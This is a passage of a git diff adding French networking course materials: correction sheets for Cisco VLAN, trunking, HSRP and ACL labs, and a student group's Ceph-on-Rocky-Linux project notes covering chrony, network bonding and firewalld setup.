+ exit + interface Gig0/0/0.10 + ip access-group CEPH_EXCLUDE_TESTS_VLAN10 in + exit + interface Gig0/0/0.20 + ip access-group CEPH_EXCLUDE_TESTS_VLAN20 in + end + write memory +``` + +# FIN + +Ps : moins de 20/20 on débarque chez toi Cédric (dans minecraft) \ No newline at end of file diff --git a/Semaine_02/Supports_de_cours/01. Introduction à Ceph/CEPH.pdf b/Semaine_02/Supports_de_cours/01. Introduction à Ceph/CEPH.pdf new file mode 100644 index 0000000..d46aa03 Binary files /dev/null and b/Semaine_02/Supports_de_cours/01. Introduction à Ceph/CEPH.pdf differ diff --git a/Semaine_02/Supports_de_cours/01. Introduction à Ceph/Exercice Ceph.pdf b/Semaine_02/Supports_de_cours/01. Introduction à Ceph/Exercice Ceph.pdf new file mode 100644 index 0000000..c304525 Binary files /dev/null and b/Semaine_02/Supports_de_cours/01. Introduction à Ceph/Exercice Ceph.pdf differ diff --git a/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/COURS - Les Bases de Cisco IOS.pdf b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/COURS - Les Bases de Cisco IOS.pdf new file mode 100644 index 0000000..4f85fd4 Binary files /dev/null and b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/COURS - Les Bases de Cisco IOS.pdf differ diff --git a/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/COURS - Les VLANS le concept et leurs différents types.pdf b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/COURS - Les VLANS le concept et leurs différents types.pdf new file mode 100644 index 0000000..8c4edab Binary files /dev/null and b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/COURS - Les VLANS le concept et leurs différents types.pdf differ diff --git a/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 - Mise en place des VLANs.pdf b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 - Mise en place des VLANs.pdf new file mode 100644 index 0000000..5e5164c Binary files /dev/null and b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 - Mise en place des VLANs.pdf differ diff --git a/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 Correction - Mise en place d_un VLAN et du trunking.md b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 Correction - Mise en place d_un VLAN et du trunking.md new file mode 100644 index 0000000..fc31827 --- /dev/null +++ b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 Correction - Mise en place d_un VLAN et du trunking.md @@ -0,0 +1,117 @@ +# Mettre en place des VLANs et du trunk + +### Step 2 + +- Accédez à Switch 2 en CLI + +### Step 3 + +- Configurez le VLAN 1 et affectez lui l'interface 10.1.1.12/24 + +``` + SW1(config)#interface vlan 1 + SW1(config-if)#ip address 10.1.1.12 255.255.255.0 + SW1(config-if)#exit +``` +- Créons les VLANs supplémentaire, à faire sur Switch 1 ET Switch 2 !! + +``` +SW1(config)# vlan 10 +SW1(config-vlan)#exit +SW1(config)# vlan 20 +SW1(config-vlan)#exit +``` +Attribuez l'interface fa 0/1 de CHAQUE SWITCH à son VLAN : + + SW1#conf t + SW1(config-vlan)#int fa0/1 + SW1(config-if)#switchport mode access + SW1(config-if)#switchport access vlan 10 + + SW2#conf t + SW2(config-vlan)#int fa0/1 + SW2(config-if)#switchport mode access + SW2(config-if)#switchport access vlan 20 + +- Configurez l'interface FA 0/3 comme trunk sur **CHAQUE SWITCH** + + +``` +SW1(config) interface fastethernet 0/3 +SW1(config-if)# switchport mode trunk +SW1(config-if)#switchport nonegotiate +SW1(config-if)# switchport trunk allowed vlan 1,10,20 +SW1(config-if)# no shutdown + +``` +- Configurez l'interface FA0/13 comme trunk sur Switch 1 uniquement, puisqu'il + fait face au routeur : + + +``` +SW1(config-if)#int fa0/13 +SW1(config-if)#switchport mode trunk +SW(config-if)#switchport nonegotiate +SW1(config-if)#switchport trunk allowed vlan 1,10,20 + +``` +### Step 7 + +- Faites un ping vers l'autre VLAN depuis PC1. Le ping doit échouer, pourquoi ? + +*Parce qu'il n'y a pas de routage entre les VLANs, il faudrait configurer le +routeur* + +## TASK 2 : Configurez un Trunk sur le routeur + +### Step 1 + +- Accédez au Routeur en CLI + +### Step 2 + +- Allez dans l'interface gi 0/0 + + +``` + R(config)#enable + R(config)#conf t + R(config)#int gi0/0 + +``` +### Step 3 + +- Éteignez l'interface + + + R(config)#shutdown + +### Step 4 + +- Supprimez toutes les adresses IP existantes sur cette interface + + + R(config-if)#no ip address + +- Créez 3 sous-interfaces sur Gigabit 0/0, chacun avec les IP spécifiées dans + l'énoncé, en déclarant ces interfaces comme devant décoder les paquets tagués + à la norme 802.1q + + + R(config)#interface gi 0/0.1 + R(config)#encapsulation dot1q 1 native + R(config)#ip address 10.1.1.1 255.255.255.0 + R(config)#no shutdown + R(config)#interface gi 0/0.10 + R(config)#encapsulation dot1q 10 + R(config)#ip address 10.1.10.1 255.255.255.0 + R(config)#no shutdown + R(config)#interface gi 0/0.20 + R(config)#encapsulation dot1q 20 + R(config)#ip address 10.1.20.1 255.255.255.0 + R(config)#no shutdown + R(config)#interface giga 0/0 + R(config)#no shutdown + +**TOUT devrait être fonctionnel à ce stade.** + diff --git a/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 Exercice - Mise en place d_un VLAN et du Trunking.pkt b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 Exercice - Mise en place d_un VLAN et du Trunking.pkt new file mode 100644 index 0000000..ad10e54 Binary files /dev/null and b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP1 Exercice - Mise en place d_un VLAN et du Trunking.pkt differ diff --git a/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 - Troubleshooting VLANs et Trunks.pdf b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 - Troubleshooting VLANs et Trunks.pdf new file mode 100644 index 0000000..2f4a4c1 Binary files /dev/null and b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 - Troubleshooting VLANs et Trunks.pdf differ diff --git a/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 Correction - Troubleshooting VLAN & Trunking.md b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 Correction - Troubleshooting VLAN & Trunking.md new file mode 100644 index 0000000..448e2d7 --- /dev/null +++ b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 Correction - Troubleshooting VLAN & Trunking.md @@ -0,0 +1,61 @@ +# Troubleshooting VLAN + +## TASK 1 : Dépannez la connectivité des VLANs + +### Step 5 + +- L'interface se trouve dans le VLAN 10, or, elle est inactive, ce qui veut dire qu'on a oublié de créer le VLAN 10 ! + +Sur le switch ou ce vlan est absent, simplement taper "vlan 10" en mode conf terminal + +### Step 7 + +- Entrez ces commandes sur le Switch 2 : + + SW2(config)#interface FastEthernet0/3 + SW2(config-if)#switchport mode trunk + SW2(config-if)#switchport nonegociate + +### Step 9 + +- Entrez ces commandes sur le Switch 1 : + + SW1(config)#interface FastEthernet0/3 + SW1(config-if)#switchport mode trunk + SW1(config-if)#switchport nonegociate + +### Step 13 + +- Entrez ces commandes sur le Switch 1 pour rétablir le bon vlan natif : + + SW1(config)#interface FastEthernet0/3 + SW1(config-if)#switchport trunk native vlan 1 + +### Step 14 + +- Entrez ces commandes sur le Switch 2 : + + SW2(config)#interface FastEthernet0/3 + SW2(config-if)#switchport trunk native vlan 1 + +### Step 16 + +- Entrez ces commandes sur le Switch 1 : + + SW1(config)#copy running-config startup-config + +- Entrez ces commandes sur le Switch 2 : + + SW2(config)#copy running-config startup-config + + + + + + + + + + + + diff --git a/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 Exercice - Troubleshooting de VLAN & Trunking.pkt b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 Exercice - Troubleshooting de VLAN & Trunking.pkt new file mode 100644 index 0000000..a63d16b Binary files /dev/null and b/Semaine_02/Supports_de_cours/02. Cisco - VLAN et trunking/TP2 Exercice - Troubleshooting de VLAN & Trunking.pkt differ diff --git a/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5 Agrégation de Lien avec EtherChannel & PortChannel.pdf b/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5 Agrégation de Lien avec EtherChannel & PortChannel.pdf new file mode 100644 index 0000000..0bffbd6 Binary files /dev/null and b/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5 Agrégation de Lien avec EtherChannel & PortChannel.pdf differ diff --git a/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5.1 TP - Mise en place de l_Etherchannel entre 3 switchs.pdf b/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5.1 TP - Mise en place de l_Etherchannel entre 3 switchs.pdf new file mode 100644 index 0000000..54d337e Binary files /dev/null and b/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5.1 TP - Mise en place de l_Etherchannel entre 3 switchs.pdf differ diff --git a/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5.2 Exercice - Mise en place d_un Etherchannel 3 switchs v2.pkt b/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5.2 Exercice - Mise en place d_un Etherchannel 3 switchs v2.pkt new file mode 100644 index 0000000..3bb71ff Binary files /dev/null and b/Semaine_02/Supports_de_cours/03. Cisco - Portchannel et Etherchannel/4.5.2 Exercice - Mise en place d_un Etherchannel 3 switchs v2.pkt differ diff --git a/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/5.9.1 - Redondance de couche 3 avec HSRP et VRRP.pdf b/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/5.9.1 - Redondance de couche 3 avec HSRP et VRRP.pdf new file mode 100644 index 0000000..904f7ca Binary files /dev/null and b/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/5.9.1 - Redondance de couche 3 avec HSRP et VRRP.pdf differ diff --git a/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/SCHEMA TP HSRP.png b/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/SCHEMA TP HSRP.png new file mode 100644 index 0000000..f420d39 Binary files /dev/null and b/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/SCHEMA TP HSRP.png differ diff --git a/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/TP_HSRP_LAN.md b/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/TP_HSRP_LAN.md new file mode 100644 index 0000000..83bc7be --- /dev/null +++ b/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/TP_HSRP_LAN.md @@ -0,0 +1,52 @@ +# TP : Mise en œuvre du protocole HSRP dans un réseau redondant + +## 🎯 Objectif +Mettre en place une **redondance de passerelle** à l’aide du protocole **HSRP (Hot Standby Router Protocol)**, afin d’assurer la **continuité de service** en cas de défaillance d’un routeur. + +--- + +🧱 **Réseau partagé** : 192.168.1.0/24 +🎯 **Passerelle virtuelle HSRP** : 192.168.1.1 + +--- + +## ⚙️ Étapes du TP + +### 1️⃣ Configuration IP de base +Configurer les adresses IP sur les deux routeurs et le PC selon le schéma ci-dessus. +Vérifier la connectivité entre les équipements avec la commande `ping`. + +--- + +### 2️⃣ Configuration HSRP +Configurer HSRP sur les deux routeurs afin de partager une adresse IP virtuelle (192.168.1.1). +Le **Router1** doit être prioritaire. + +--- + +### 3️⃣ Vérification +Utiliser les commandes de vérification pour observer : +- Le routeur **actif** +- Le routeur **standby** +- L’adresse IP virtuelle et l’adresse MAC virtuelle associée + +--- + +### 4️⃣ Test de bascule +1. Vérifier le rôle initial de chaque routeur. +2. Désactiver l’interface G0/0 de Router1 pour simuler une panne. +3. Vérifier le basculement automatique du rôle actif vers Router2. +4. Réactiver Router1 et observer le retour automatique à l’état initial. + +--- + +### 5️⃣ Questions de réflexion + +1. Quelle est la différence entre HSRP et VRRP ? +2. Pourquoi configure-t-on la commande `preempt` ? +3. Que se passerait-il si les deux routeurs avaient la même priorité ? +4. Quelle est la différence entre HSRP et une agrégation de liens (EtherChannel) ? + +--- + +**Fin du TP.** diff --git a/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/TP_HSRP_LAN_Corrige.md b/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/TP_HSRP_LAN_Corrige.md new file mode 100644 index 0000000..091c33e --- /dev/null +++ b/Semaine_02/Supports_de_cours/04. Cisco - HSRP (redondance de passerelle)/TP_HSRP_LAN_Corrige.md @@ -0,0 +1,172 @@ +# Correction du TP : Mise en œuvre du protocole HSRP dans un réseau redondant + +## 🎯 Objectif +Mettre en œuvre une **redondance de passerelle IP** avec **HSRP**, afin d'assurer une continuité de service réseau en cas de panne d'un routeur. + +--- + +## 🧩 Topologie mise en place + +``` + +-------------------+ + | Router1 | + | G0/0 : 192.168.1.2| + +-------------------+ + | + | + +-------------+ + | SW1 | + +-------------+ + | + +-------------------+ + | Router2 | + | G0/0 : 192.168.1.3| + +-------------------+ + | + +------+ + | PC1 | + |192.168.1.10| + +------+ +``` + +🧱 **Réseau partagé** : 192.168.1.0/24 +🎯 **Passerelle virtuelle HSRP** : 192.168.1.1 + +--- + +## ⚙️ Étapes de configuration + +### 1️⃣ Configuration IP de base + +#### Router1 +```bash +enable +conf t +interface g0/0 + ip address 192.168.1.2 255.255.255.0 + no shutdown +exit +``` + +#### Router2 +```bash +enable +conf t +interface g0/0 + ip address 192.168.1.3 255.255.255.0 + no shutdown +exit +``` + +#### PC1 +``` +Adresse IP : 192.168.1.10 +Masque : 255.255.255.0 +Passerelle : 192.168.1.1 +``` + +--- + +### 2️⃣ Configuration HSRP + +#### Sur Router1 (routeur prioritaire) +```bash +interface g0/0 + standby 1 ip 192.168.1.1 + standby 1 priority 110 + standby 1 preempt + no shutdown +``` + +#### Sur Router2 +```bash +interface g0/0 + standby 1 ip 192.168.1.1 + standby 1 priority 90 + standby 1 preempt + no shutdown +``` + +--- + +### 3️⃣ Vérification + +Commande : +```bash +show standby +``` + +**Router1 (actif) :** +``` +GigabitEthernet0/0 - Group 1 + State is Active + Virtual IP address is 192.168.1.1 + Active router is local + Standby router is 192.168.1.3 + Priority 110 (configured 110) +``` + +**Router2 (standby) :** +``` +GigabitEthernet0/0 - Group 1 + State is Standby + Virtual IP address is 192.168.1.1 + Active router is 192.168.1.2 + Priority 90 (configured 90) +``` + +--- + +### 4️⃣ Test de bascule (failover) + +1. Depuis le PC, tester la connectivité : + ```bash + PC1> ping 192.168.1.1 + ``` + +2. Simuler la panne du routeur actif : + ```bash + Router1(config)# interface g0/0 + Router1(config-if)# shutdown + ``` + +3. Vérifier que Router2 devient actif : + ```bash + Router2# show standby + ``` + +4. Rétablir Router1 : + ```bash + Router1(config-if)# no shutdown + ``` + +Grâce à la commande `preempt`, Router1 reprend automatiquement le rôle d'actif. + +--- + +## 🧭 Réponses aux questions de réflexion + +1. **Différence HSRP / VRRP :** + HSRP est propriétaire Cisco, VRRP est standard (RFC 3768). Les deux assurent une redondance de passerelle. + +2. **Commande `preempt` :** + Permet à un routeur prioritaire de redevenir actif après un retour en service. + +3. **Même priorité sur les deux routeurs :** + En cas d’égalité, le routeur ayant l’adresse IP la plus élevée devient actif. + +4. **HSRP vs EtherChannel :** + HSRP redonde des routeurs (couche 3), EtherChannel agrège des liens physiques (couche 2). + +--- + +## ✅ Bilan + +- HSRP assure une **redondance de passerelle** sans intervention du poste client. +- Une **IP et MAC virtuelles** sont partagées entre deux routeurs. +- La **bascule** est transparente pour le réseau local. +- **Packet Tracer** supporte parfaitement HSRP (contrairement à VRRP). + +--- + +**Fin de la correction.** diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.1.1 COURS - Sécurisation des périphériques Cisco .pdf b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.1.1 COURS - Sécurisation des périphériques Cisco .pdf new file mode 100644 index 0000000..414a33e Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.1.1 COURS - Sécurisation des périphériques Cisco .pdf differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.1.3 Travail Dirigé - Sécurisation de base d_un switch.pdf b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.1.3 Travail Dirigé - Sécurisation de base d_un switch.pdf new file mode 100644 index 0000000..56452ee Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.1.3 Travail Dirigé - Sécurisation de base d_un switch.pdf differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.2.1 COURS - Les ACL Sandard ou Access Control List.pdf b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.2.1 COURS - Les ACL Sandard ou Access Control List.pdf new file mode 100644 index 0000000..1d64e21 Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.2.1 COURS - Les ACL Sandard ou Access Control List.pdf differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.2.2 Travail Dirigé n°1 - Introduction et mise en place d_ACLs.pdf b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.2.2 Travail Dirigé n°1 - Introduction et mise en place d_ACLs.pdf new file mode 100644 index 0000000..135d844 Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/6.3.2.2 Travail Dirigé n°1 - Introduction et mise en place d_ACLs.pdf differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Correction - Mise en place d_un filtrage via ACLs.md b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Correction - Mise en place d_un filtrage via ACLs.md new file mode 100644 index 0000000..2b0c2a8 --- /dev/null +++ b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Correction - Mise en place d_un filtrage via ACLs.md @@ -0,0 +1,78 @@ +# CORRECTION TP 3 - Filtrage par ACLs + +## Task 1 + +### Step 2 : + +Avant toute chose, le 1er réflexe est de vérifier la présence d'ACL sur l'appareil, `show ip access list`. + +Sur le routeur branch, on remarque justement une ACL déjà présente avec cette commande, de type standard, qui permet tout le traffic depuis le réseau 10.1.1.0. Rajouter une règle interdisant l'hôte 10.1.1.101 sera inefficace puisque la règle précédente laissera tout passer ! + +Il faut donc l'annuler : + + enable + conf t + no ip access-list standard 1 + +Puis créez l'ACL demandée : + +#### Créer l'ACL : + + enable + conf t + ip access-list extended Telnet + deny tcp host 10.1.1.101 host 172.16.1.100 eq telnet + permit ip any any + exit + +**Notez l'importance ici du "permit ip any any" en fin d'ACL en tant que dernière règle, il stipule que tout ce qui ne concorde pas avec la 1ère règle peut passer, autrement la politique par défaut sur Cisco, implicite, est de refuser tout ce qui ne matche pas avec les règles précédentes !!! Il est en effet plus logique et rapide de dire ce qu'on autorise, et interdire tout le reste que l'inverse, d'ou le choix par Cisco du "deny ip any any" implicite.** + +#### Attribuer cet ACL à une interface : + + enable + conf t + interface gi0/0 + ip access-group Telnet in + exit + +## Task 2 + +### Step 7 + + enable + conf t + interface gi0/0 + no ip access-group Telnet out + ip access-group Telnet in + exit + +### Step 9 + + enable + conf t + no ip access-list extended Telnet + ip access-list extended Telnet + deny tcp host 10.1.1.101 host 172.16.1.100 eq telnet + permit ip any any + exit + + + + + + + + + + + + + + + + + + + + + diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Exercice - Filtrer le traffic via des ACL.pkt b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Exercice - Filtrer le traffic via des ACL.pkt new file mode 100644 index 0000000..edd89b2 Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Exercice - Filtrer le traffic via des ACL.pkt differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Mise en place d_un filtrage via ACLs.pdf b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Mise en place d_un filtrage via ACLs.pdf new file mode 100644 index 0000000..aad0793 Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP3 - Mise en place d_un filtrage via ACLs.pdf differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Correction - Troubleshooting de connectivité IP a cause des ACLs.md b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Correction - Troubleshooting de connectivité IP a cause des ACLs.md new file mode 100644 index 0000000..41e72ca --- /dev/null +++ b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Correction - Troubleshooting de connectivité IP a cause des ACLs.md @@ -0,0 +1,25 @@ +# CORRECTION TP 4 - Troubleshoot de connectivité IP ayant pour cause les ACL + + +## Task 1 – Réparer la route par défaut : + +sur le routeur Branch : + + Branch(config) #ip route 0.0.0.0 0.0.0.0 209.165.201.2 + +Ici, toute IP d'un réseau de n'importe quelle taille sera joignable par le biais de l'adresse `209.165.201.2` + +## Task 2 – Réparer une ACL : + +entrer ces commandes (ou équivalent) sur le routeur branch : + + Branch(config) #ip access-list extended Outbound-ACL + Branch(config-ext-nacl)#permit tcp any any eq Telnet + Branch(config-ext-nacl)#permit tcp any any eq www + +Si vous souhaitez réessayer la commande traceroute, il faut aussi penser à autoriser le trafic UDP + +## Task 3 – Réparer la passerelle par défaut et la résolution de noms : + +Il suffit d’aller dans la configuration de PC1 pour lui passer la bonne passerelle par défaut. +Packet Tracer n’émulant pas un système d’exploitation Windows complet, il n’y a pas de fichier Host à rectifier. Il faut simplement rectifier la passerelle par défaut le PC, et refaire un ping test, mais avec l'adresse IP du serveur cette fois, pas le choix ! diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Exercice - Troubleshooting de connectivité IP a cause des ACLs.pkt b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Exercice - Troubleshooting de connectivité IP a cause des ACLs.pkt new file mode 100644 index 0000000..04fde27 Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Exercice - Troubleshooting de connectivité IP a cause des ACLs.pkt differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Troubleshooting de connectivité IP à cause des ACLs.pdf b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Troubleshooting de connectivité IP à cause des ACLs.pdf new file mode 100644 index 0000000..57663ab Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP4 - Troubleshooting de connectivité IP à cause des ACLs.pdf differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP5 - 2 Établir une ACL standard.pdf b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP5 - 2 Établir une ACL standard.pdf new file mode 100644 index 0000000..9cfd451 Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP5 - 2 Établir une ACL standard.pdf differ diff --git a/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP6 - 3 Établir une ACL étendue.pdf b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP6 - 3 Établir une ACL étendue.pdf new file mode 100644 index 0000000..5039ef9 Binary files /dev/null and b/Semaine_02/Supports_de_cours/05. Cisco - Sécurisation élémentaire des appareils de l_infra/TP6 - 3 Établir une ACL étendue.pdf differ diff --git a/Semaine_02/Supports_de_cours/06. BONUS - Filtrage sous Linux/212.1.0 - Les Pare-feux simplifiés sous Linux.pdf b/Semaine_02/Supports_de_cours/06. BONUS - Filtrage sous Linux/212.1.0 - Les Pare-feux simplifiés sous Linux.pdf new file mode 100644 index 0000000..f91237f Binary files /dev/null and b/Semaine_02/Supports_de_cours/06. BONUS - Filtrage sous Linux/212.1.0 - Les Pare-feux simplifiés sous Linux.pdf differ diff --git a/Semaine_02/Supports_de_cours/06. BONUS - Filtrage sous Linux/212.1.1 Filtrage de paquets sur GNU Linux avec IPTables & NFTables.pdf b/Semaine_02/Supports_de_cours/06. BONUS - Filtrage sous Linux/212.1.1 Filtrage de paquets sur GNU Linux avec IPTables & NFTables.pdf new file mode 100644 index 0000000..32a38d0 Binary files /dev/null and b/Semaine_02/Supports_de_cours/06. BONUS - Filtrage sous Linux/212.1.1 Filtrage de paquets sur GNU Linux avec IPTables & NFTables.pdf differ diff --git a/Semaine_02/Supports_de_cours/ÉVALUATION !/Énoncé - EVAL Infrastructure Avancée part 2.pdf b/Semaine_02/Supports_de_cours/ÉVALUATION !/Énoncé - EVAL Infrastructure Avancée part 2.pdf new file mode 100644 index 0000000..a11ae02 Binary files /dev/null and b/Semaine_02/Supports_de_cours/ÉVALUATION !/Énoncé - EVAL Infrastructure Avancée part 2.pdf differ diff --git a/Semaine_03/Esteban-Gauvain-Floren.md b/Semaine_03/Esteban-Gauvain-Floren.md new file mode 100644 index 0000000..6d178fc --- /dev/null +++ b/Semaine_03/Esteban-Gauvain-Floren.md @@ -0,0 +1,531 @@ +*Esteban, Floren, Gauvain* + +# Projet 1 + +## Génèse + + + +### 1. Préparation du projet + +- Floren : l'architecte +- Esteban : le soutien moral +- Gauvain : la petite secrétaire + +#### Notes + +Il se peut que les lignes de code affichées dans les captures d'écran ne soient pas 100% conformes avec les blocs de code tapés au-dessus. C'est normal : nous expérimentons au fur et à mesure, et quand la capture d'écran est faite, il se peut que nous ne nous apercevions d'une coquille ou d'un oubli que bien plus tard. Et qu'un paquet installé (genre NMAP) soit désinstallé plus tard, faute d'usage. Règle du **"moins de paquet = moins de surface d'attaque"**. + +Le résultat est normalement affiché en capture d'écran, mais en cas de discordance, les blocs de code commentés font foi. + +### 2. Définir l'architecture + +#### A. Les Machines Virtuelles + +[ROCKY_LINUX - Installation](https://docs.rockylinux.org/9/guides/9_6_installation/) + +- Rocky Linux sur Hyperviseur +- Deux connexions réseau : en Accès par Pont ou Réseau NAT +- Pas de GUI + +Nous avons décidé d'utiliser : +- 3 VMs Rocky Linux 9.7 (version Boot), les infos sur la version 10 faisant état d'une version peu stabilisée +- sur VirtualBox (par simplicité) +- En réseau NAT (pour avoir une plage réseau vraiment isolée) +- Pas de GUI + +``` +sudo dnf update -y +sudo dnf install -y firewalld nano curl wget + +sudo systemctl enable --now firewalld +``` + + + +Synchronisation des serveurs avec `chrony` : +*Sur MON/MR* +``` +nano /etc/chrony.conf + + allow 10.0.10.0/24 +``` + +*Sur OSD1* +``` +nano /etc/chrony.conf + + server 10.0.10.11 iburst + peer 10.0.10.13 iburst +``` + +*Sur OSD2* +``` +nano /etc/chrony.conf + + server 10.0.10.11 iburst + peer 10.0.10.12 iburst +``` + + + +Et on change les noms des machines : +``` +sudo hostnamectl set-hostname ['monmgr', 'osd1', 'osd2'] +``` + +#### B. Configuration du **bonding** + +[REDHAT - Configure Network Bonding](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/networking_guide/ch-configure_network_bonding) + +[Bonding in Rocky Linux](https://www.server-world.info/en/note?os=Rocky_Linux_10&p=bonding) + +- Mode [*active-backup*](https://www.ibm.com/docs/en/linux-on-systems?topic=recommendations-bonding-modes) +- Bridge dédié au **bond** *active-backup* dans le Ceph + +Ajouter le bond : +``` +sudo nmcli connection add type bond con-name bond0 ifname bond0 mode active-backup + +sudo nmcli connection add type ethernet ifname enp0s3 master bond0 +sudo nmcli connection add type ethernet ifname enp0s8 master bond0 + +sudo nmcli connection modify bond0 \ +ipv4.method manual \ +ipv4.addresses 10.0.10.[11,12,13]/24 \ +ipv4.gateway 10.0.10.1 \ +ipv4.dns 1.1.1.1 + +sudo nmcli connection up bond0 +``` + + + +Vérifications : +``` +cat /proc/net/bonding/bond0 + +sudo nmcli device +sudo nmcli connection +``` + + + + + +Vérification de la redondance en débranchant une NIC dans la VM : + + + + + +#### C. Réglages du pare-feu + +[REDHAT - Using and configurind firewalld](https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/configuring_firewalls_and_packet_filters/using-and-configuring-firewalld_firewall-packet-filters) + +- Zone personnalisée : `ceph-mcs2025` +- Associée à l'interface du **bond0** +- [Autorisation des ports nécessaires à CEPH](https://docs.redhat.com/fr/documentation/red_hat_ceph_storage/5/html/configuration_guide/ceph-firewall-ports_conf) et associés + +``` +sudo firewall-cmd --permanent --new-zone=ceph-mcs2025 + +# Pour vérifier +sudo 